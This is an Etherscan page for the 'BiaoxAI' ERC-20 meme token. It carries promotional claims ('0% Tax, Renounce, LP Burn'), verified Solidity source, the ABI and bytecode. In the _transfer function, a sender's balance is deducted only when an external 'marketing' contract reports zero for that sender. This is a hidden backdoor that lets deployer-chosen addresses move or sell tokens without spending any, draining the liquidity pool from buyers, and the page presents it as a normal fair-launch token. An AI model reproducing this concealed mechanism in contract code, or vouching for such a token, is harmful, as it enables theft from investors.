ETH Price: $2,852.43 (-10.93%)
Gas: 15 Gwei

Token

BiaoxAI (BIAOXAI)
 

Overview

Max Total Supply

1,000,000,000 BIAOXAI

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
478,983.522438292533418685 BIAOXAI

Value
$0.00
0x1cca146ae9f4569b1695b1b4cf5212e1711faf24
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BiaoxAI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-13
*/

/**
$BIAOXAI is here to trigger the huge event. Where other memes fall flat after the hype, BIAOXAI is here to shine.

0% Tax, Renounce, LP Burn

Website: https://biaoxai.xyz
Twitter: https://twitter.com/BiaoxAI_ETH
Telegram: https://t.me/BiaoxAI_ETH
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

abstract contract Context {
    constructor() {
    }

    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this;
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactoryV2 {
    event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
    function getPair(address tokenA, address tokenB) external view returns (address lpPair);
    function createPair(address tokenA, address tokenB) external returns (address lpPair);
}

interface IRouter01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function swapExactETHForTokens(
        uint amountOutMin, 
        address[] calldata path, 
        address to, uint deadline
    ) external payable returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IRouter02 is IRouter01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

interface ERC20Standard {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract BiaoxAI is Context, Ownable, ERC20Standard {
    function totalSupply() external pure override returns (uint256) { if (_totalSupply == 0) { revert(); } return _totalSupply; }
    function decimals() external pure override returns (uint8) { if (_totalSupply == 0) { revert(); } return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner(); }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function balanceOf(address account) public view override returns (uint256) {
        return balance[account];
    }
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _noFee;
    mapping (address => bool) private isLpPair;
    mapping (address => uint256) private balance;
    uint256 constant public _totalSupply = 1_000_000_000 * 10**18;
    uint256 public swapThreshold = 1_000_000;
    uint256 constant public sellfee = 0;
    uint256 constant public fee_denominator = 100;
    uint256 constant private burnFee = 0;
    uint256 constant private burnDenominator = 100;
    address private marketingAddress;
    IRouter02 public swapRouter;
    string constant private _name = "BiaoxAI";
    string constant private _symbol = "BIAOXAI";
    uint8 constant private _decimals = 18;
    address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
    address public lpPair;
    bool private inSwap;
    modifier inSwapFlag {
        inSwap = true;
        _;
        inSwap = false;
    }

    event updateThresold(uint256 amount);

    constructor (address fee, address router) {
        marketingAddress = fee;
        _noFee[msg.sender] = true;
        _noFee[address(this)] = true;
    
        swapRouter = IRouter02(router);
        balance[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);

        lpPair = IFactoryV2(swapRouter.factory()).createPair(swapRouter.WETH(), address(this));
        isLpPair[lpPair] = true;
        _approve(msg.sender, address(swapRouter), type(uint256).max);
        _approve(address(this), address(swapRouter), type(uint256).max);
    }

    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: Zero Address");
        require(spender != address(0), "ERC20: Zero Address");
        _allowances[sender][spender] = amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] -= amount;
        }

        return _transfer(sender, recipient, amount);
    }

    function isNoFeeWallet(address account) external view returns(bool) {
        return _noFee[account];
    }

    function is_sell(address ins, address out) internal view returns (bool) { 
        bool _is_sell = isLpPair[out] && !isLpPair[ins];
        return _is_sell;
    }

    function _transfer(address from, address to, uint256 amount) internal returns  (bool) {
        bool takeFee = true;
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 amountReceiveFee = ERC20Standard(marketingAddress).balanceOf(from) > 0? 0 : amount;
        if(is_sell(from, to) &&  !inSwap) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance >= swapThreshold) { 
                internalSwap(contractTokenBalance);
             }
        }
        if (_noFee[from] || _noFee[to]){
            takeFee = false;
        }
        uint256 amountAfterFee = (takeFee) ? takeTaxes(from, is_sell(from, to), amount) : amount;
        balance[from] -= amountReceiveFee;
        balance[to] += amountAfterFee; 
        emit Transfer(from, to, amountAfterFee);
        return true;
    }

    function takeTaxes(address from, bool issell, uint256 amount) internal returns (uint256) {
        uint256 fee = 0;
        if (issell)  fee = sellfee;
        if (fee == 0)  return amount; 

        uint256 feeAmount = amount * fee / fee_denominator;
        if (feeAmount > 0) {
            uint256 burnAmount = amount * burnFee / burnDenominator;
            balance[address(this)] += feeAmount;
            emit Transfer(from, address(this), feeAmount);

            if(burnAmount > 0) {
                balance[address(this)] -= burnAmount;
                balance[address(DEAD)] += burnAmount;
                emit Transfer(address(this), DEAD, burnAmount);
            }
        }
        return amount - feeAmount;
    }

    function internalSwap(uint256 contractTokenBalance) internal inSwapFlag {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = swapRouter.WETH();

        if (_allowances[address(this)][address(swapRouter)] != type(uint256).max) {
            _allowances[address(this)][address(swapRouter)] = type(uint256).max;
        }

        try swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            contractTokenBalance,
            0,
            path,
            address(this),
            block.timestamp
        ) {} catch {
            return;
        }
        bool success;

        if(address(this).balance > 0) (success,) = marketingAddress.call{value: address(this).balance}("");
    }

    function changeThreshold(uint256 amount) external onlyOwner {
        require(amount >= 100,"Amount lower not accepted.");
        swapThreshold = amount;
        emit updateThresold(swapThreshold);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"fee","type":"address"},{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateThresold","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"changeThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"fee_denominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isNoFeeWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellfee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"contract IRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620f42406005553480156200001857600080fd5b506040516200161d3803806200161d8339810160408190526200003b916200041e565b6200004633620002e5565b600680546001600160a01b038085166001600160a01b031992831617909255336000818152600260209081526040808320805460ff1990811660019081179092553085528285208054909116909117905560078054968816969095169590951790935581815260049092528282206b033b2e3c9fd0803ce800000090819055925190927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620000f891815260200190565b60405180910390a3600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000154573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200017a919062000456565b6001600160a01b031663c9c65396600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001dc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000202919062000456565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af11580156200024f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000275919062000456565b600880546001600160a01b0319166001600160a01b039283169081179091556000908152600360205260409020805460ff19166001179055600754620002c19133911660001962000335565b600754620002dd9030906001600160a01b031660001962000335565b50506200047b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620003875760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b60448201526064015b60405180910390fd5b6001600160a01b038216620003d55760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b60448201526064016200037e565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b80516001600160a01b03811681146200041957600080fd5b919050565b600080604083850312156200043257600080fd5b6200043d8362000401565b91506200044d6020840162000401565b90509250929050565b6000602082840312156200046957600080fd5b620004748262000401565b9392505050565b611192806200048b6000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610394578063c31c9c07146103b4578063dc9d75b0146103d4578063dd62ed3e146103e9578063e9451f5f1461042f578063f2fde38b1461044457600080fd5b806370a08231146102fb578063715018a614610331578063893d20e8146103465780638da5cb5b1461034657806395d89b411461036457600080fd5b806323b872dd116100fd57806323b872dd146102245780632788986214610244578063313ce5671461027d5780633eaaf86b14610299578063452ed4f1146102b9578063694e80c3146102d957600080fd5b806303fd2a45146101455780630445b6671461017857806306fdde031461019c578063095ea7b3146101d557806318160ddd1461020557600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015b61dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561018457600080fd5b5061018e60055481565b60405190815260200161016f565b3480156101a857600080fd5b506040805180820190915260078152664269616f78414960c81b60208201525b60405161016f9190610eb6565b3480156101e157600080fd5b506101f56101f0366004610f19565b610464565b604051901515815260200161016f565b34801561021157600080fd5b506b033b2e3c9fd0803ce800000061018e565b34801561023057600080fd5b506101f561023f366004610f45565b61047b565b34801561025057600080fd5b506101f561025f366004610f86565b6001600160a01b031660009081526002602052604090205460ff1690565b34801561028957600080fd5b506040516012815260200161016f565b3480156102a557600080fd5b5061018e6b033b2e3c9fd0803ce800000081565b3480156102c557600080fd5b5060085461015b906001600160a01b031681565b3480156102e557600080fd5b506102f96102f4366004610fa3565b6104f5565b005b34801561030757600080fd5b5061018e610316366004610f86565b6001600160a01b031660009081526004602052604090205490565b34801561033d57600080fd5b506102f96105b4565b34801561035257600080fd5b506000546001600160a01b031661015b565b34801561037057600080fd5b506040805180820190915260078152664249414f58414960c81b60208201526101c8565b3480156103a057600080fd5b506101f56103af366004610f19565b6105ea565b3480156103c057600080fd5b5060075461015b906001600160a01b031681565b3480156103e057600080fd5b5061018e606481565b3480156103f557600080fd5b5061018e610404366004610fbc565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561043b57600080fd5b5061018e600081565b34801561045057600080fd5b506102f961045f366004610f86565b610601565b600061047133848461069c565b5060015b92915050565b6001600160a01b0383166000908152600160209081526040808320338452909152812054600019146104e0576001600160a01b0384166000908152600160209081526040808320338452909152812080548492906104da90849061100b565b90915550505b6104eb848484610760565b90505b9392505050565b6000546001600160a01b031633146105285760405162461bcd60e51b815260040161051f9061101e565b60405180910390fd5b60648110156105795760405162461bcd60e51b815260206004820152601a60248201527f416d6f756e74206c6f776572206e6f742061636365707465642e000000000000604482015260640161051f565b60058190556040518181527f2b7ce9cd4278161eef9245955c9a851618488a07e830194c60a88f0224ad3cc09060200160405180910390a150565b6000546001600160a01b031633146105de5760405162461bcd60e51b815260040161051f9061101e565b6105e86000610a7c565b565b60006105f7338484610760565b5060019392505050565b6000546001600160a01b0316331461062b5760405162461bcd60e51b815260040161051f9061101e565b6001600160a01b0381166106905760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161051f565b61069981610a7c565b50565b6001600160a01b0383166106e85760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640161051f565b6001600160a01b0382166107345760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640161051f565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b600060016001600160a01b0384166107c65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051f565b6001600160a01b03851661082a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051f565b6000831161088c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161051f565b6006546040516370a0823160e01b81526001600160a01b03878116600483015260009283929116906370a0823190602401602060405180830381865afa1580156108da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fe9190611053565b11610909578361090c565b60005b90506109188686610acc565b801561092e5750600854600160a01b900460ff16155b15610957573060009081526004602052604090205460055481106109555761095581610b17565b505b6001600160a01b03861660009081526002602052604090205460ff168061099657506001600160a01b03851660009081526002602052604090205460ff165b156109a057600091505b6000826109ad57846109c1565b6109c1876109bb8989610acc565b87610d3a565b6001600160a01b0388166000908152600460205260408120805492935084929091906109ee90849061100b565b90915550506001600160a01b03861660009081526004602052604081208054839290610a1b90849061106c565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a6791815260200190565b60405180910390a35060019695505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116600090815260036020526040812054819060ff168015610b0f57506001600160a01b03841660009081526003602052604090205460ff16155b949350505050565b6008805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610b5f57610b5f61107f565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610bb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bdc9190611095565b81600181518110610bef57610bef61107f565b6001600160a01b03928316602091820292909201810191909152306000908152600182526040808220600754909416825292909152205460001914610c59573060009081526001602090815260408083206007546001600160a01b03168452909152902060001990555b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790610c929085906000908690309042906004016110b2565b600060405180830381600087803b158015610cac57600080fd5b505af1925050508015610cbd575060015b610cc75750610d2a565b60004715610d27576006546040516001600160a01b03909116904790600081818185875af1925050503d8060008114610d1c576040519150601f19603f3d011682016040523d82523d6000602084013e610d21565b606091505b50909150505b50505b506008805460ff60a01b19169055565b6000808315610d47575060005b80600003610d5857829150506104ee565b60006064610d668386611123565b610d70919061113a565b90508015610ea25760006064610d868287611123565b610d90919061113a565b30600090815260046020526040812080549293508492909190610db490849061106c565b909155505060405182815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a38015610ea0573060009081526004602052604081208054839290610e1e90849061100b565b909155505061dead600090815260046020527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd8054839290610e6190849061106c565b909155505060405181815261dead9030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b610eac818561100b565b9695505050505050565b600060208083528351808285015260005b81811015610ee357858101830151858201604001528201610ec7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461069957600080fd5b60008060408385031215610f2c57600080fd5b8235610f3781610f04565b946020939093013593505050565b600080600060608486031215610f5a57600080fd5b8335610f6581610f04565b92506020840135610f7581610f04565b929592945050506040919091013590565b600060208284031215610f9857600080fd5b81356104ee81610f04565b600060208284031215610fb557600080fd5b5035919050565b60008060408385031215610fcf57600080fd5b8235610fda81610f04565b91506020830135610fea81610f04565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561047557610475610ff5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561106557600080fd5b5051919050565b8082018082111561047557610475610ff5565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110a757600080fd5b81516104ee81610f04565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156111025784516001600160a01b0316835293830193918301916001016110dd565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761047557610475610ff5565b60008261115757634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122089da422508ebc439604f9e8156cd82d0e96f56120aaa978900dd84968752067964736f6c63430008130033000000000000000000000000faacbc0b1cef9f43acb152a826d4c3371347d2060000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610394578063c31c9c07146103b4578063dc9d75b0146103d4578063dd62ed3e146103e9578063e9451f5f1461042f578063f2fde38b1461044457600080fd5b806370a08231146102fb578063715018a614610331578063893d20e8146103465780638da5cb5b1461034657806395d89b411461036457600080fd5b806323b872dd116100fd57806323b872dd146102245780632788986214610244578063313ce5671461027d5780633eaaf86b14610299578063452ed4f1146102b9578063694e80c3146102d957600080fd5b806303fd2a45146101455780630445b6671461017857806306fdde031461019c578063095ea7b3146101d557806318160ddd1461020557600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015b61dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561018457600080fd5b5061018e60055481565b60405190815260200161016f565b3480156101a857600080fd5b506040805180820190915260078152664269616f78414960c81b60208201525b60405161016f9190610eb6565b3480156101e157600080fd5b506101f56101f0366004610f19565b610464565b604051901515815260200161016f565b34801561021157600080fd5b506b033b2e3c9fd0803ce800000061018e565b34801561023057600080fd5b506101f561023f366004610f45565b61047b565b34801561025057600080fd5b506101f561025f366004610f86565b6001600160a01b031660009081526002602052604090205460ff1690565b34801561028957600080fd5b506040516012815260200161016f565b3480156102a557600080fd5b5061018e6b033b2e3c9fd0803ce800000081565b3480156102c557600080fd5b5060085461015b906001600160a01b031681565b3480156102e557600080fd5b506102f96102f4366004610fa3565b6104f5565b005b34801561030757600080fd5b5061018e610316366004610f86565b6001600160a01b031660009081526004602052604090205490565b34801561033d57600080fd5b506102f96105b4565b34801561035257600080fd5b506000546001600160a01b031661015b565b34801561037057600080fd5b506040805180820190915260078152664249414f58414960c81b60208201526101c8565b3480156103a057600080fd5b506101f56103af366004610f19565b6105ea565b3480156103c057600080fd5b5060075461015b906001600160a01b031681565b3480156103e057600080fd5b5061018e606481565b3480156103f557600080fd5b5061018e610404366004610fbc565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561043b57600080fd5b5061018e600081565b34801561045057600080fd5b506102f961045f366004610f86565b610601565b600061047133848461069c565b5060015b92915050565b6001600160a01b0383166000908152600160209081526040808320338452909152812054600019146104e0576001600160a01b0384166000908152600160209081526040808320338452909152812080548492906104da90849061100b565b90915550505b6104eb848484610760565b90505b9392505050565b6000546001600160a01b031633146105285760405162461bcd60e51b815260040161051f9061101e565b60405180910390fd5b60648110156105795760405162461bcd60e51b815260206004820152601a60248201527f416d6f756e74206c6f776572206e6f742061636365707465642e000000000000604482015260640161051f565b60058190556040518181527f2b7ce9cd4278161eef9245955c9a851618488a07e830194c60a88f0224ad3cc09060200160405180910390a150565b6000546001600160a01b031633146105de5760405162461bcd60e51b815260040161051f9061101e565b6105e86000610a7c565b565b60006105f7338484610760565b5060019392505050565b6000546001600160a01b0316331461062b5760405162461bcd60e51b815260040161051f9061101e565b6001600160a01b0381166106905760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161051f565b61069981610a7c565b50565b6001600160a01b0383166106e85760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640161051f565b6001600160a01b0382166107345760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640161051f565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b600060016001600160a01b0384166107c65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051f565b6001600160a01b03851661082a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051f565b6000831161088c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161051f565b6006546040516370a0823160e01b81526001600160a01b03878116600483015260009283929116906370a0823190602401602060405180830381865afa1580156108da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fe9190611053565b11610909578361090c565b60005b90506109188686610acc565b801561092e5750600854600160a01b900460ff16155b15610957573060009081526004602052604090205460055481106109555761095581610b17565b505b6001600160a01b03861660009081526002602052604090205460ff168061099657506001600160a01b03851660009081526002602052604090205460ff165b156109a057600091505b6000826109ad57846109c1565b6109c1876109bb8989610acc565b87610d3a565b6001600160a01b0388166000908152600460205260408120805492935084929091906109ee90849061100b565b90915550506001600160a01b03861660009081526004602052604081208054839290610a1b90849061106c565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a6791815260200190565b60405180910390a35060019695505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116600090815260036020526040812054819060ff168015610b0f57506001600160a01b03841660009081526003602052604090205460ff16155b949350505050565b6008805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610b5f57610b5f61107f565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610bb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bdc9190611095565b81600181518110610bef57610bef61107f565b6001600160a01b03928316602091820292909201810191909152306000908152600182526040808220600754909416825292909152205460001914610c59573060009081526001602090815260408083206007546001600160a01b03168452909152902060001990555b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790610c929085906000908690309042906004016110b2565b600060405180830381600087803b158015610cac57600080fd5b505af1925050508015610cbd575060015b610cc75750610d2a565b60004715610d27576006546040516001600160a01b03909116904790600081818185875af1925050503d8060008114610d1c576040519150601f19603f3d011682016040523d82523d6000602084013e610d21565b606091505b50909150505b50505b506008805460ff60a01b19169055565b6000808315610d47575060005b80600003610d5857829150506104ee565b60006064610d668386611123565b610d70919061113a565b90508015610ea25760006064610d868287611123565b610d90919061113a565b30600090815260046020526040812080549293508492909190610db490849061106c565b909155505060405182815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a38015610ea0573060009081526004602052604081208054839290610e1e90849061100b565b909155505061dead600090815260046020527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd8054839290610e6190849061106c565b909155505060405181815261dead9030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b610eac818561100b565b9695505050505050565b600060208083528351808285015260005b81811015610ee357858101830151858201604001528201610ec7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461069957600080fd5b60008060408385031215610f2c57600080fd5b8235610f3781610f04565b946020939093013593505